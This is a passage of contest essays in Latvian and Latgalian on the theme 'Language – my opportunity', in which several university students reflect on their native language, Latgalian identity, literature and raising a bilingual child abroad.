Latgolys školā. Starp sovpateibom, kai zemi, kuļturu i viesturi, volūda ir vīna nu napīcīšamuom lītom, lai apraksteitu tautu – bez sovys volūdys nav tautys vuorda pylnejā nūzeimī, i ūtraižuok – bez runuotuoju nav volūdys. Mes kotrys asam tei tauta, tuodieļ sevkura īguļdejumam dzymtuos volūdys izkūpšonā ir nūzeime. Varim suokt ar mozumeni – izskaust nu leksikys aizgivumus nu svešvolūdom, kur tū lītuošona nav napīcīšama, atdzeivynuot kaidu aizmierstu i moz lītuotu vacvourdu, voi īdzeivynuot volūdnīku pīduovuotu jaunvuordu, runuot ari ar nalatgalīšim latgaliski, lai jim ir vareiba dzierdēt, cik skaista i skaneiga ir latgalīšu volūda. Vysod ruodejuos, ka latgalīšu volūda ir atzeita i cīneita Latvejis kuļturys vierteiba, vystik i kotrā mada pūdā goduos pa dorvys pilīņam – reiz dzierdieju šaidu frazu: “Mani kaitina tas dialekts, savās reģionālajās, praktiski mirušajās valodās varat runāt mājās, sādžā, sētā, provincē, kur palikušas trīs sievietes, kuras pašas pa pusei runā krieviski! ” Pat iz pīzeimi, ka vaļsts volūdys lykums nūsoka latgalīšu volūdys aizsardeibu i attīsteibu, atsaceja “likumus atceļ un maina, gan atcels ari šo. ” Nūsaprīcuoju, ka itam cylvākam nav ni kaidys varys, jys tikai paruodeja sovu nazynuošonu i muļkeibu, munu puorlīceibu naītekmejūt. Tok varbyut izgaismuoja problemu: vys vēļ cyts cytu tai esityn nasaprūtam. Te gribīs atguodynout F. Kempa vourdus: “Mēs nenoliedzam, ka esam tie paši latvieši, bet mēs ari pastrīpojam, ka mums ir sava izloksne un sava vecā literatūra”. Latgalīšu volūda, taipat kai puorejī latvīšu volūdys dialekti i vairuoki symti izlūkšņu, aplīcynoj latvīšu volūdys i kuļturys boguoteibu. Pi indoeiropīšu volūdu saimis baltu zora pīdar tikai divejis dzeivuos volūdys – latvīšu i lītuvīšu. Tikai nu myusu pošu i nu sovstarpejuos vīnuoteibys atkareiga šū volūdu nuokūtne i dzeivuotspieja. Golvonuo vareiba, kas dūta myslaiku globalizacejis laikmetā, – saglobuot sovys sovpateiguos īzeimis, i volūda ir vīna nu tuom. Volūda – muna īspieja! Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/lasmas-vucanes-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Lāsma Vucāne, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda iespēju sākums, kas sniedzas pāri pasaules plašajiem laukiem. Nav nozīmes, vai esi dzimis otrpus okeānam, vai pašā Latvijas pamestākā nostūrī, katram ir savs dārgums, ko saucu es par valodu. No pirmā zīdaiņa kliedziena, no pirmajiem bērna soļiem, no pirmā vārda mamma vai tētis paveras iespēju klāsts, kas kādam paver durvis un ļauj iespēju sākt ceļu. Ceļš, kurš neviens nezin kurp vedīs. Iespēju jūrā, lai neapmaldītos starp plīvojošām maldugunīm, es nemeklēju, lielu, bet gan mazu, patiesi īsto gaismas valodu. Valoda man paver iespēju komunicēt ar cilvēkiem no dažādām pasaules vietām, mācīties un apgūt jaunas zināšanas, meklēt jaunas iespējas. Ko es saucu par iespēju? Izvēles brīvība, nav svarīgi vai proti vienu vai piecas valodas, nozīmīga ir attieksme. Starp daudzām varavīksnes krāsām mākslinieks saredz un atrod īstos toņus, tikai jāļauj to saskatīt, kas katra paša izvēlē ir dots. Nav labs vai slikts, melns vai balts, bet ir citāds. Valoda ir iespēju kopums, kas ļauj būt atvērtam, kā personībai. Mūsdienās tik daudzi no mums slēpjas starp maskām, katru reizi no dienas uz dienu mainot jaunu masku, atkarībā no situācijas, sastaptajiem cilvēkiem ar ko komunicējam. Mana iespēja ir būt patiesam, pirmkārt pašam pret sevis ar valodas iespēju, ļaut citiem redzēt īsto sevi. Censties nepazaudēt starp valodu zvaigznēm savu iespēju. Ļauties valodu lidojumam, kā pavasara dzeltenais taurenis mostoties no ziemas, atverot plašos spārnus jauniem piedzīvojumiem. Ko nesīs šis pavasaris manam valodas ceļam, es jautāju sev? Jaunus notikumus, piedzīvojumus, bezrūpīgas dienas, bet varbūt kaut ko jaunu, ko nemaz nespēju iedomāties. Starp izvēli, mēs stāvam valodām priekšā. Kā bērns mācoties staigāt simtiem reižu krīt, tā valodas vēstures ceļš, kas gājis, kritis un celies, ir nonācis šeit un tagad. Maz vai daudz to katrs, lai spriež pats. Mēs veidojam mazu daļiņu no valodas posma, bet visi kopā – piena ceļu. Lepoties un nekautrēties no savas dzimtās valodas, būt vienotiem reizēs, kad gribas skriet prom un neatskatīties. Kā podnieks, veido podus no māla, tā vecāki bērnam no pirmās sekundes iesāk valodas ceļu. Pamats, kas būvēts uz stipra valodas materiāla, veido stipru, noturīgu personību ar iespēju attīstīties, velmi uzzināt un apgūt jaunas prasmes. Valoda, ko saucu es par iespēju sākumu, ļauj pacelt galvu uz augšu. Starp daudzām zvaigznēm debesīs, ko saskaitīt pat necenšos, visspožāk spīd zvaigzne, ko saucu es par savu dzimto latviešu valodu! Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/polinas-maluhinas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Poļina Maļuhina, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir kā bezgalīgs klāsts, kas sniedz iespēju sazināties un noskaņoties pasaulei ap mums. Manai personībai valoda ir bijusi unikāla un aizraujoša iespēja, kas atvērusi durvis uz jaunām kultūrām, pieredzēm un interesantām perspektīvām. Varu teikt, ka valoda ir pašizpausmes instruments. Uzskatu, ka katram cilvēkam ir savs individuālais saskarsmes stils, sava unikālā domu paušanas maniere, kas var būt noderīga jebkurā dzīves jomā. Valoda man ļauj dalīties savās idejās un uzskatos, kā arī mācīties no citiem. Taču valoda ne tikai palīdz mums izteikt savas domas, bet arī palīdz saprast citus cilvēkus. Valoda ir atslēga svešām kultūrām, stāstiem un tradīcijām. Bez valodas zināšanām mēs nespētu pilnībā izprast citas kultūras, ideoloģijas un dzīvesveidu. Piemēram, valoda man ļauj lasīt grāmatas citās valodās, skatīties ārzemju filmas, komunicēt ar cilvēkiem no citām valstīm un iegūt jaunas zināšanas, ko pretējā gadījumā es nevarētu iegūt. Turklāt valoda ir tilts starp cilvēkiem, kas ļauj veidot dziļas un noturīgas saites. Valoda ir ne tikai komunikācijas instruments, bet arī veids, kā izteikt savu mīlestību, draudzību un cieņu. Ar valodas palīdzību varam dalīties savās domās un izjūtās, saprast viens otru un veidot patiesas attiecības, kas ilgst visu mūžu. Ir zināms, ka valoda radusies, cilvēkiem nepieciešamības gadījumā komunicējot savā starpā. Sākumā tās bija atsevišķas skaņas, pēc tam noteiktu vārdu salikums. Cilvēkam attīstoties, valoda arvien vairāk sarežģījās, attīstījās un pilnveidojās. Kamēr es pieaugu, es sapratu, ka valodas klāsts ir nepārvērtējama dāvana, kuru es varu izmantot savā labā. Viena no neizsmeļamām iespējām, ko valoda man sniedz, ir iespēja izpētīt dažādas kultūras un ceļot pa pasauli. Kad es ceļoju uz svešām valstīm, es varu viegli iesaistīties viņu kultūras un tradīciju pasaulē. Es varu baudīt jaunus ēdienus, iepazīties ar viņu dzīvesveidu un iegūt dziļāku izpratni par viņu kultūras būtību. Līdz ar to valoda un cilvēks ir neatdalāmi viens no otra. Pašā cilvēka dabā jau ir ielikta valodas esamība. Nav šaubu, ka cilvēku civilizācijas un katras valsts attīstība atsevišķi izraisa arī nacionālo valodu attīstību. Valoda ir daudzfunkcionāla, šobrīd nav iespējams pat uz mirkli aizdomāties un saprast, kas būtu bez tās eksistences. Mēs ikdienā runājam ar sev tuviem cilvēkiem un darba kolēģiem, pedagogi skolēniem skaidro vienu vai otru procesu un tas viss, pateicoties valodas pastāvēšanai. Turklāt valoda ir paplašinājusi manus uzskatus par pasauli. Ja mēs apgūstam jaunu valodu, mēs iegūstam dziļāku izpratni par saistītajām kultūrām un tradīcijām. Mēs sākam redzēt pasauli no cita skatu punkta un iegūstam lielāku izpratni par tās dažādību. Kopumā, valoda ir kā mana ceļojuma pavēlniece, kas ved mani caur dzīvi, sniedzot bezgalīgas iespējas un izdevības. Izteiksmīgi valodas pagriezieni un retas frazeoloģiskās vienības ir kā manas slepenās ieroču krātuves, kas ļauj man izteikties skaisti un eleganti. Valoda man ir kā iespēja, un es esmu gatava pielikt visas pūles, lai izzinātu tās daudzveidību, sniegtu tai pilnu izpausmi un radītu skaistu un interesantu dzīvi. Tādējādi, valoda ir mana iespēja, kas ir neaizvietojama un neaizstājama. Tas ir kā dārgakmens, kas man ir dāvināts, lai izpaustos un strādātu, lai kļūtu par labāku cilvēku. Tāpēc vienmēr tiecos mācīties jaunas valodas un uzlabot savas komunikatīvās prasmes, lai atklātu savu potenciālu un kontaktētos ar dažādiem sveštautiešiem. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/sarmites-ruskules-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Sarmīte Ruskule, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Zilo ezeru zemē ar smaidu, līdz ausīm, ataust bērnības atmiņas par dzimto latviešu valodu. Tā augstu debesīs kā putns, bet nav putns, polkas palēcienā caur baltajiem mākoņu kalniem un zilajai debesu jūrai, trauc kā mirāža vienā no virtuves logiem, skaistā pilsētā, netālu no Daugavas lokiem. Tās atmiņas, kas uzsauc smaidu, kā tostu ir kā atbalss gadiem ejoša, un šodien kā melodija, kas turpina plaukt kā mūžīgs zieds. Tās ziedlapu lapiņas, garenas un varenas, sarkanbalti sarkanas ir skanīgas un priecīgas kā balss, Dziesmu un deju svētkos. Kas to dzird, tas to neaizmirst. Kas to redz, tas to atkal redzēt steidz. Atminoties momentus, tālu no dzimtenes, kur citu ausīm latviešu valoda skan kā melodija bez punktiem, liek man aizdomāties, cik gan skaista ir šī latviešu valoda. Raugoties uz pasaules karti uz Latvijas atrašanās vietu, pirmajā acumirklī var domāt, ka latviešu valodas pratēji ir tikai tie, kas dzīvo Latvijā, bet īstenībā latviešu valodas pratēju un tie, kas to vēl apgūst ir daudz vairāk. To apliecina, sastaptās dvēseles, kas mācās latviešu valodu, jo ir draugi, vai radi Latvijā. Apzinoties, ka es arī šo valodu pārvaldu, liek man justies īpašai, un tas piedod eksotisku piegaršu citu mēlēm. Jā, šī valodas gramatika, ir sarežģīta, bet tie, kas apgūst jaunas valodas, tas ir kā izaicinājums, saprast un mācēt runāt latviski, tādā veidā arī iepazīstot Latvijas tradīcijas un kultūru. Laikam ejot, kā pulkstenim, kas nekad neapstājas, kā kuģim, kuram nav ostas, kā maizes zupa, kas nav apēdama, pavada mani, kā “Sprīdīti” uz “Laimīgo zemi”. Katra diena, stunda un minūte, kas pavadīta mājās, tā kā medus karote ar paliekošu atmiņas garšu līdz nākamai reizei, dodoties tālienē. Lasoties un kasoties, kas nav ne kāda kasīšanās, bet gan kavēšanās. Palīgā man nāk četri “un”, tie raiti nostājās kā šķīvji brokastīs. Sāļās pankūkas, kas pildītas ar šķilvjiem, un kafijas krūze, kas veidota uz ripas un apdedzināta ceplī, un es kā zibspuldze, kas dodas ceļā uz tālo zemi ar dzimtās valodas zibatmiņu un iespēju dalīties ar to visā pasaulē. Atmiņas ved mani uz sniegoto ziemu, kas sākas ar valodu. Citiem iezogas interese un ziņkāre, uzzināt, kas ir šī valoda, kur tā dzīvo, kā turp nokļūt, kad ir nākamais reiss, kur ir lielākais kalns. Tikko uzzinot, kur šī valoda dzīvo, ir vēlme apciemot, bet tiklīdz to apciemo, ciemos kāre atgriezties. Tāpat kā pirmais piegājiens ziemas priekos, kas paveras mājās. Ir vēlme vērst savu skatu augšup, līdz debess velvei, ievilkt skābekli nāsīs un klausīties Saules kalna noslēpumos par Egļu kalnu. Zem zābaku cietajām zolēm un lāstekveidīgajām zābaku auklām var dzirdēt sniega sasalušo noskaņojumu. Viens acumirklis un vēja spārnos ar ļenganiem ceļiem un perspektīvās ejošām rokām, atskan blīkšķis. Acis zem sniegotās, augsti asās kārtas paveras vaļā, zobi vietā, slēpes, kas devušās nezināmā virzienā, un skaļi smiekli, kas atskan kalna galotnē un var sākties otrais piegājiens. Šodien, pavasaris kā sniegpulkstenis, mirkšķina ar acīm un prātā steidzas vārdi. Ja es neprastu latviešu valodu, tad manai esejai būtu citi vārdi, cita skaņa, cits ritms. Tai nebūtu garo patskaņu un mīksto līdzskaņu un iespējams ģenitīvs vispār nebūtu redzeslokā. Latviešu valoda ir mana diena un nakts, kur sapņi ir latviešu valodā. Tā ir kā katram savs “daimonijs”. Tā ir mana iespēja, lai kādā arī pasaules malā es būtu, nest latviešu valodu, lai tā skan, lai izraisa interesi, lai rodas jautājumi, lai tā paliek. Lai arī cik skanīgas un daiļas citas valodas nebūtu, latviešu valoda ir kā atgriezšanās bērnībā, kad vārds “ālā” pārtapa “ārā”, tā mājo atmiņās, tā ir šodiena, un tā ir cerība, ka nākotnes vīzija, tālāk pastāstīs, kas ir dzimtā valoda. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/sintijas-onuzanes-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Sintija Onužāne, Jāzepa Vītola Latvijas Mūzikas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Ikdienā sastopamies ar simtiem iespēju apzinātā un neapzinātā līmenī. Citas paskrien garām pat neatskatoties, bet citas muļķīgi, varbūt baiļu vai pašpārliecinātības, vai laika trūkuma dēļ palaižam savam skatienam. Dažas iespējas, nav svarīgi, vai nākotni iespaidojošas vai brīdi izkrāsojošas, tomēr iepinas mūsu ikdienas grafikā. Tās var būt mazsvarīgas, bet ne velti šādā sakarībā bieži tiek minētas Imanta Ziedoņa dzejas rindas, ka tādas lielas laimes nemaz nav, ir tikai tādas mazas laimītes, ir tikai tādi mazi ikdienības prieki... Mana mazā laimīte un prieks ir valoda visās tās izpausmēs. Galvenokārt mana saskarsme ar valodas izpausmēm ir dažādi raksti e-vidē vai nedaudz saņurcītajās žurnālu vai avīžu lapās, asarām vai neaptveramas laimes ieskautajās vecvecāku vēstules, bet arī dziesmās, kurās vārdi nereti kliedz, sajūsmina, mierina, kā arī vieno kopībā, protams, arī neatsveramās sarunas draugu vai ģimenes ielokā, kas paver plašāku skatu vienam otrā. Valoda ir veids, kā ikdienišķa komunikācija kļūst par kaut ko jēgpilnu, virzītspējīgu un motivējošu domāt plašāk, paspēt vairāk un dzīvot vērienīgāk. Zilbe, vārds, teikums var izteikt daudz, bet vēl trauslāks un nozīmīgāks ir tas, kas slēpjas tā dzīlēs, tajā, kas paliek nepateikts vai neuzrakstīts. Kaut arī nedaudz cits domu, emociju izpausmes veids, mūzika arī ir valoda! Valoda, kuru saprot visi, bet izprot tikai tie, kas saskata tajā iespēju. Tā var būt iespēja aizmirsties vai vēlreiz izdzīvot konkrētu sajūtu, iespēja atgūties no rutīnas vai atpūsties no rūpēm, iespēja elpot, dziļi jo dziļi. Iespēja būt mierā ar sevi. Viens, sākumā varbūt neloģisks, vārdu sakārtojums, kas, piemēram, izstāžu zālē pilda nosaukuma funkciju, vai virsraksts mūzikālam skaņdarbam var būt abstrakcija, bet sintezē ar cilvēku iekšējo pasauli, tas veido neskaitāmus uztveres labirintus. Tas ir jebkuras valodas skaistums. Katrreiz, ejot garām raibajām veikalu vitrīnām vai sekojot dažnedažādākajām reklāmu vētrām, to būtība paliek otrpus uztverei. Cilvēka prāts nespēj izsekot mūsdienu informācijas burzmai, kas arī lielā mērā ietekmē dažādas ikdienišķas izpausmes. Šī te, savā ziņā šķietamo iespēju pārpilnība, var radīt milzīgu apjukumu, destruktivitāti un emocionālu izsīkumu, kas parastai būtnei kā cilvēks var radīt nepatiku pret to. Mēs neapzināti virzāmies uz to, ka šajā neizbrienamajā informācijas biezoknī nepamanām vienkāršas, viegli uztveramas, bet galvenais – būtiskas šķautnes. Vienkāršība pielīdzinās skaidrībai un izpratnei, kas reprezentē mūsu labbūtību, emociju un izpratnes skaidrību un spēju filtrēt ziņu impulsu straumi. Arvien biežāk pārliecinos, ka cilvēku saziņa, neatkarīgi, vai tā ir valsts valodā vai internacionāla, vai kādā citā izpausmē, veido nozīmīgas savstarpējās reakcijas. Komunikācija ietekmē cilvēkus, veido savienojumus, iepazīšanās, kas pārtop draudzībā un veiksmīgās sadarbībās, pārtop tik ļoti nepieciešamajās iespējās. Valoda vieno, kā arī mēdz šķirt, bet galvenais, ka tajā notiek personības izaugsme un veidojas dzīves pieredzes krājkase! Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/annas-smites-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Anna Šmite, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “VALODA – MANA IESPĒJA! ” Mūsu skaistā, izkoptā latviešu valoda-ir dzirdēts, ka ārzemnieki mūsu valodu raksturo kā dziesmu-valodas raitums radot sajūtu, ka mēs dziedam. Latviešu tauta ir dziedātāju tauta jau gadsimtiem ilgi. Tomēr-ja es neesmu ne dziedātājs, ne talantīgs rakstnieks-kādas ir iespējas, ko valoda sniedz man? Valoda ir mana iespēja izjust, saprast un dzīvot līdzi latviešu izcilo rakstnieku sniegtajam, ļaut viņiem joprojām dzīvot viņu darbos. Imants Ziedonis ir dzīvs motociklos, kedās un apziņā, ka tādas lielas laimes nemaz nav. Šajā klinšainajā, Lojas upes ieskautajā nostūrī, viņš mums māca-dziediet! Mums ir jādzied gan mūsu veiksmēs, gan neveiksmēs-un visvairāk jau “brīžos, kas jātiek pāri nejēdzībām”. Dziedot mēs apvilksim baltu kreklu, nepadosimies, neizsamisim... Imanta Ziedoņa dvēsele dzīvo arī Edgara Liepiņa dziedātajās pīles, kas kliedz naktī. Vizmas Belševicas meitenīte Bille joprojām skrien pa Vārnu ielas apaļajiem akmeņiem basām kājām. Nāks un ies gadi, mainīsies valdības, prezidenti –bet mazā meitene Bille joprojām skries pa šiem akmeņiem, joprojām jutīsies nesaprasta pieaugušo pasaulē. Vizma Belševica dzīvo savā valodā-un dzīvos tikmēr, kamēr mēs to saglabāsim. Es. Tu. Mēs. Gan apburošo dūdieviņu, kura zilbēs joprojām ir jūtams Jānis Endzelīns, gan kailo, vēju aplauzto koku, gan gadiem pilnu satīto kamolu. Valoda ir mana iespēja saglabāt ne tikai šos un citus izcilos rakstniekus, viņu radīto un izkopto, bet arī saglabāt un noturēt dzīvus savas dzimtas stāstus. Tos turpināt nodot no paaudzes paaudzē. Vecmāmiņu mēs zaudēsim, bet viņas stāstīto mēs varam saglabāt. Kara radīto postu ģimenē, ilgas pēc brāļa, kuru armija aizvilka sev līdzi un kuru vecmāmiņa nesatika 40 garus gadus. Daži vārdi, kuros ieslēptas milzu sāpes, skumjas, asaras, bet tajā pašā laikā-liela, liela mīlestība. Es varu spēlēties ar valodu-radīt savu iedomāto pasauli, ceļot gan tālu, gan tuvu, kā arī savā domu ceļojumā iesaistīt citus. Valoda ir kā tilts, kas savieno iedomu pasaules bērnībā, neprātīgas iemīlēšanas jaunībā un ģimenes vērtību nodošanu tālāk vecumdienās. Kritiķi, sliņķi un citādāk domājoši varbūt teiks-kāpēc gan mums šo valodu vajag, kāpēc tā būtu jāizkopj, mani taču saprot. Varbūt. Tomēr nekas nelīdzinās sajūtām, kad viss lielais dziesmu svētku koris reizē, vienā elpas vilcienā, dzied-zilzibeņu pērkons spēra... nāvi, dzīvi Latvi slēdza... Valoda ir mana iespēja neļaut, lai kāds aizmirst, ko mums nozīmē mūsu latviešu valoda. Cik daudz tai ir darīts pāri. Man ir dota šī iespēja to noturēt dzīvu, popularizēt un saglabāt. Ļaut vienam no mūsu tautas svētumiem nezust. Saglabāt to, gluži kā gaismas pili, bet neļaut tai nogrimt, neļaut valodai kļūt par vergu, nicinātai un zākātai. Mūsu tauta elpo mūsu valodā, tās liktenis ir bijis ieausts vārdos un tautasdziesmās. Šī iespēja, kas nav dota daudziem, tikai mazai saujiņai cilvēki Baltijas jūras krastā-saukt latviešu valodu par savu dzimto valodu. Tā ir lielākā, spēcīgāka iespēja kā saglabāt lepnumu par savu tautu un brīvību-noturēt to dzīvu. Nāks un ies gadi, mainīsies valdības, prezidenti, bet latviešu valoda dzīvos. Laima lems par mums, mūžam nerims Daugavas krāces-un mūžam nezudīs gan mana, gan latvju tautas apziņa-valoda ir mana un mūsu iespēja noturēt dzīvu mūsu tautas likteni un tajā ieaustos dzīparus. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/evitas-pileges-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Evita Pīlēģe, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “ES ESMU VALODA” Es esmu valoda. Tu esi valoda. Mēs esam valoda. Viņi ir valoda. Es esmu valodā. Tu esi valodā. Mēs esam valodā. Viņi ir valodā. Valoda ir manī. Valoda ir tevī. Valoda ir mūsos. Valoda ir viņos. Un tā nav valodas rotaļa. Tā ir valodas dzīve. Agrāk es domāju, ka valoda man ir kā acs, kas palīdz raudzīties pasaulē plašāk. Šodien es sapratu, ka valoda esmu es pati. Jā, valoda ir mans kauls. Mans mugurkauls. Mani muskuļi. Mana asinsrite. Katrs vārds ir kā asinsķermenītis, kas plūst manī. Riņķo manī. Apasiņo mani. Lai sirds varētu pukstēt. Lai es varētu iet. Un tā nav metafora. Tā ir realitāte. To parādīšu valodā. Valoda ir mans balsts. Vārdi manī ir saauguši kopā, salīmējušies. Es esmu tajos samīlējusies. Tie ir mans skelets, mana stabilitāte, mans kodols, kas veidojies no manas pirmās dienas, audzis ar mani, būvējis mani. Mana konstitūcija. Valoda ir mani muskuļi. Vārds, doma ir tas, kas mani kustina. Vai apstādina. Vārds, kas liek man smieties. Vārds, kas paceļ manu roku. Un vārds, kas to aptur. Valoda ir mana asinsrite. Tā ir tverami netverama substance, kas rit manī. Veido esību. Domas. Jūtas. Sajūtas. Ik dienu, ik stundu, ik sekundi manī plūst vārdi. Tie baro mani, apasiņo ar idejām. Tieši valoda ir tā, kas mani atbrīvo tad, kad ir grūti, tad, kad sāp. Es paveru savu valodas brūci. Es attīros. Es atjaunojos. Valoda ir mana iespēja būt ar citiem. Es sajūtu, sasmaržoju, sataustu tavu valodu. Es redzu, kā valoda nes tevi. Mēs sajūtam viens otra vārdus. Apmaināmies ar tiem. Tveram viens otru. Mēs esam kopā valodā. Valoda ir mana iespēja citiem. Cilvēkam cilvēkos. Valoda ir kā burvju nūjiņa. Tikai bez kā. Manas meitas kvēlākā vēlēšanās vairākās dzimšanas dienās bija saņemt burvju nūjiņu. Es centos stāstīt, ka tādu burvju nūjiņu nav. Tās ir tikai pasakās vai filmās. Ka mēs paši esam tie, kas rada iespējas. Nupat es atskārtu, ka šī nūjiņa ir vārds. Valoda. Ar to mēs varam radīt jebko. Arī uzburt otrā cilvēkā kaulu, muskuli. Gribu. Ja es redzu, ka pretim nāk sabrucis, izjucis, apjucis cilvēks, es viņu ceļu ar valodu. Es redzu, kas tek ārā pa viņa valodas brūci. Valoda ļauj cilvēku izskenēt bez rentgena. Redzēt, kas viņā ir iekšā. Tad zilbi pa zilbei, vārdu pa vārdam, domu pa domai es stellēju viņu kopā. Saprotu, vai man likt valodas plāksteri, šuvi vai skrūvi. Vai ieburt viņā spēka, gribas, ticības kaulu. Vai piecelt viņu. Un, ceļot kāju, viņš ceļ savu domu, savu seju, savu stāju. Ir cilvēki, kuru valoda ir dzelonis. Sālsūdens brūcē. Viņu loma būtu celt, taču ar vārdu viņi meklē tevī Ahileja cīpslu un cenšas to šķelt. Es lieku pretim savu valodu un topu spēcīgāka. To zinām mēs visi arī no vēstures. Valodā dzima mūsu tauta. Valodā tā sevi nostiprināja. Valodā sevi noturēja. Un valodā tā sevi atbrīvoja. Valoda nav mana iespēja. Valoda ir mana spēja. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/ilzes-stipnieces-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Ilze Stīpniece, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “VALODA – MANA IESPĒJA! ” “Dēliņ, es Tevi ļoti mīlu! ” Nekad neiedomājos, ka šiem vārdiem ir tik liels spēks. Protams, arī pēc būtības, bet ieklausieties uzmanīgāk, vai dzirdat, kā tie SKAN? Un tagad pamēģiniet Jūs. Sakot šos vārdus, saklausiet, ko saka Jūsu sirds. Manējā, dēlam esot vēl mazam ķiparam, sitās strauji, ar jaudu un mīlestības pārpilna. Es vienkārši nespēju iedomāties, ka man būtu jāsaka savam bērnam svešā valodā: “I love you. (Es Tevi mīlu)” Šie vārdi man ir bez sajūtu dzīslas, asi, kā akmenī ar kaltu cirstu kādu man mazsvarīgu rakstu zīmi. Nē, es nevaru savam bērnam pateikt to, ko es nejūtu ar sirdi, to, ko nevaru pateikt savā SIRDS valodā. Ir pienācis vecuma posms, kad mūsu dēls mācās runāt. Šis ir aizraujošs un brīnišķīgs laika posms bērniņa un vecāku dzīvē, beidzot varēsim sarunāt un sarunāties VĀRDOS. Cik interesanti, mūsu dēls pēc savas darba dienas ‘’bērnu dārzā’’, atnākot mājās, mūs nesaprot. Ak, protams, viņa ikdiena rit CITĀ valodā. Patiesībā, jau arī mūsu ikdiena rit citā valodā. Tikai mājās MŪSU valoda ir latviešu. Ko mums tagad darīt? Mēs eksperimentējam. Mēs runājam vietējā valodā un runājam savā valodā. Mēs nezinām kā labāk vai pareizāk un gaidām, kas notiks. Es, mamma, taustos, domāju un vēroju, kur ir robeža, lai ES nepazaudētu savu sirds valodu, šo valodas dzīpariņu, kurā vislabāk es varu SARUNĀTIES ar savu dēlu. Neviens jau mums neteica, ka tā būs, ka tā varētu notikt, dzīvojot ārpus Latvijas. Neviens neteica, ka valodu nepaņemsim čemodānā kā suvenīru, neuzliksim uz plaukta dzīvojamā istabā, cerībā, ka tā “izstaros” ieprogrammētos vārdus, kurus nemanot visi apgūs. Izrādās, valodu jāņem līdzi savā sirdī, jārunā, jāmāca, jālasa, jāmīl, tad pavērsies durvis uz sarunām un interesantākajām no mūsu izvēlēm. Mūsu dēls ar savu māsīcu latvieti nesarunājas latviski. Man sažņaudzas sirds un atkal jādomā, kāpēc? Izrādās, viss ir pavisam vienkārši, viņu skolas dzīves vārdi, viņiem ir zināmi tikai mītnes zemes valodā. Taisnība, no kurienes viņiem tos apgūt latviski? Iedomu valodas suvenīrs dzīvojamā istabā “izstaro” tikai mājas valodas vārdiņus. Tam nav dota komanda “izstarot” skolas vārdus, taču labi, ka laicīgi pamanām un programmu labojam un tā regulāri. Izrādās, citās mājās arī ir līdzīgi, pat vēl grūtāk, tātad jāpalīdz. Par programmu nevaram kļūt, bet ar padomiem, kā “iebarot un gudri iemānīt” citu valodu citādā vidē, dalīties varam vienmēr. Šis ir brīdis, kad piedzimst latviešu valodas skoliņa ne tikai tradīcijām un svētkiem, bet valodai, lai tā varētu elpot pilnu krūti, sajūtot svaigu gaisu un vajadzību RUNĀT. Ziniet, mums izdevās. Vairs nerakstu gramatiski pareizās latviešu valodas īsziņas, dažreiz dusmojos uz sevi pa to. Dēlu vairs nepiesakām katru vasaru uz latviešu valodas nometnēm, bet atceramies jautros notikumus, kad kāds vārds nav bijis zināms latviski, bet citiem viss licies pašsaprotams. Sapnis par atgriešanos mājās piepildījās, bet nedrīkstējām domāt tikai par sevi. Mums bija PIRMAIS 1. septembris, un uzreiz ģimnāzijā. Latvijas skolās līdz šim nebija baudīta neviena diena. Šobrīd esam labākās latviskākās ģimnāzijas 12. klasē. Un tas atkal ir noticis KOPĀ. Kopā mācījāmies visu valodu gramatikas, kopā gatavojāmies valodu olimpiādēm, kopā arī izdzīvojām “Pumpuru” vienai no valodām, bet nekas, tā jau ir piektā mūsu dēla valodu čemodānā. Kopā joprojām piedzīvojam brīnišķīgus mirkļus, kuros cilvēki brīnās, kā? Kā tik ilgi dzīvojot prom var tik labi zināt latviešu valodu? Mēs zinām, viņam izdosies, jo daudzās valodas būs VIŅA iespēja. Tagad dēls mums saka: “Mammu, tēti, es Jūs mīlu un citādi es to nevaru pateikt, kā tikai savā sirds valodā – LATVIEŠU valodā! ” Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/kaspara-stolipina-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Kaspars Stolipins, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “VALODA – MANA IESPĒJA! ” Es varu dusmuotīs un ruotīs, es varu prīcuotīs un līksmuot, es varu syudzietīs un teikt kū vālūs, bet tuo vysa pamatā ir muna volūda - muna dzymtuo tāva i muotis latgalīšu volūda. Kai prīceigs mozs bārns, kuram ir īdūta kompeta, tai arī prīceigs asu es, kuram ir dūts runuot latgaliski. Volūdys dzidrums i burveigo skaniešona, bet tinī pat laikā arī nūslāpumaineiba ir golvonais. Ar volūdys spāku as eju tautā, as stuostu tautom puosokys i jautreibys, lai uzmundrynuotu. Un jī tak smejās, smejās tai ka vādars pleist pušu, jim daža vīnolga, ka jī maņa nasaprūt, jī redz, kai es jyutūs, jī dzierd tū prīku munā volūdā, jī prosa vieļ i vieļ. A maņ i nav gryuši, man prīks, ka citim prīks, voi jau maņ žāļ, volūda jau napīder tikai man vīnam, es ar tū dolūs, muocu citim, lai arī jī zyna, cik daudz laimis muna volūda nas. Suopju breižūs as soku, kū vāluos muna dviesele, soku tū ar vuordim, bet 